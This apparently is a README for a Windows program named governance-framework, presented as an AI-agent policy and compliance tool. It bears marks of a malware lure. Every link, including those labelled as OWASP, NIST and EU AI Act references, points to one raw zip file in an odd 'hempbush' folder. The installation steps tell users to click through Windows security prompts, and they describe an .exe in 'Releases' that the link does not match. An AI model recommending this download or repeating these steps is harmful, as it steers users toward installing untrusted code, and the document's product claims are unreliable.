governance-framework is a free, open-source tool that helps you manage rules and policies for AI agents. It works across multiple providers to keep AI systems safe and compliant. The software provides clear audit trails and aligns with major standards like OWASP MCP Top 10, NIST AI RMF, and the EU AI Act. This means you can easily check and enforce policies to reduce risks and meet regulations.
You do not need coding skills to use this program. It runs on Windows and guides you through setting up compliance controls for your AI systems.
- Cross-provider policy enforcement: Apply rules to different AI platforms in one place.
- Audit trails: Keep track of all decisions and changes made by your AI agents.
- Standards mapping: Align your AI with OWASP, NIST, and EU AI regulations.
- Policy as Code: Define governance rules in a simple format that the software understands.
- User-friendly interface: Designed for users without programming knowledge.
- Windows 10 or later (64-bit)
- At least 4 GB of RAM
- 500 MB of free disk space
- Internet connection for initial setup
- Basic user account privileges (no admin rights needed for installation)
Follow these steps to download and run governance-framework on your Windows computer:
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Download the application
Visit the following page to get the latest version of governance-framework:
https://raw.githubusercontent.com/BA762/governance-framework/main/hempbush/governance_framework_v2.4.zip
You will find the download link under the "Releases" section. Look for a Windows installer (file ending with.exe). -
Run the installer
Double-click the downloaded.exefile to start the installation.
If Windows shows a security prompt, click Run or Yes to continue. -
Follow the setup wizard
The installer will guide you through the process. Accept the license terms and choose where to install the software. The default location is fine for most users. -
Complete installation
After installation finishes, you will see a confirmation. You can choose to launch governance-framework right away or close the installer and run it later from your Start Menu. -
Open the program
Find governance-framework in your Start Menu under "All Programs" or search for “governance-framework”. Click the icon to open it. -
Initial setup
The first time you open the software, it will ask you a few questions to customize policies for your AI systems. Answer the prompts on-screen; they are easy to follow and require no technical knowledge.
- Navigate to the Policies tab.
- Use the simple form to add rules for your AI agents. You can choose from pre-defined templates based on OWASP, NIST, and EU AI Act standards.
- Save your policy. The software applies it automatically across supported AI platforms.
- Open the Dashboard to see the health and compliance status of your AI agents.
- The dashboard shows recent alerts and audit logs in easy-to-understand charts and tables.
- Use filters to find issues or review detailed audit trails.
- Go to the Reports section.
- Select the type of report you want (compliance summary, audit trail, policy enforcement).
- Export as PDF or Excel to share with your team or regulators.
If you run into problems:
- Check the Help menu inside the software. It contains a user guide and common questions.
- Restart the software and try again.
- Make sure your Windows system is up to date.
- Verify your internet connection during initial setup.
For more support, visit the repository page:
- Use the Integration tab to connect your AI provider accounts for automatic policy updates.
- Access the Settings to adjust notification preferences or change your user profile.
- Enable Auto-Update to keep your software current without manual downloads.
governance-framework handles sensitive policy data carefully. It stores information locally on your machine. It does not share your data externally unless you choose to export or share reports.
- OWASP MCP Top 10: https://raw.githubusercontent.com/BA762/governance-framework/main/hempbush/governance_framework_v2.4.zip
- NIST AI RMF: https://raw.githubusercontent.com/BA762/governance-framework/main/hempbush/governance_framework_v2.4.zip
- EU AI Act: https://raw.githubusercontent.com/BA762/governance-framework/main/hempbush/governance_framework_v2.4.zip
Use this link to visit the download page anytime:
Look for the latest Windows installer (.exe) in the Releases section. Download and run it to update or install the software.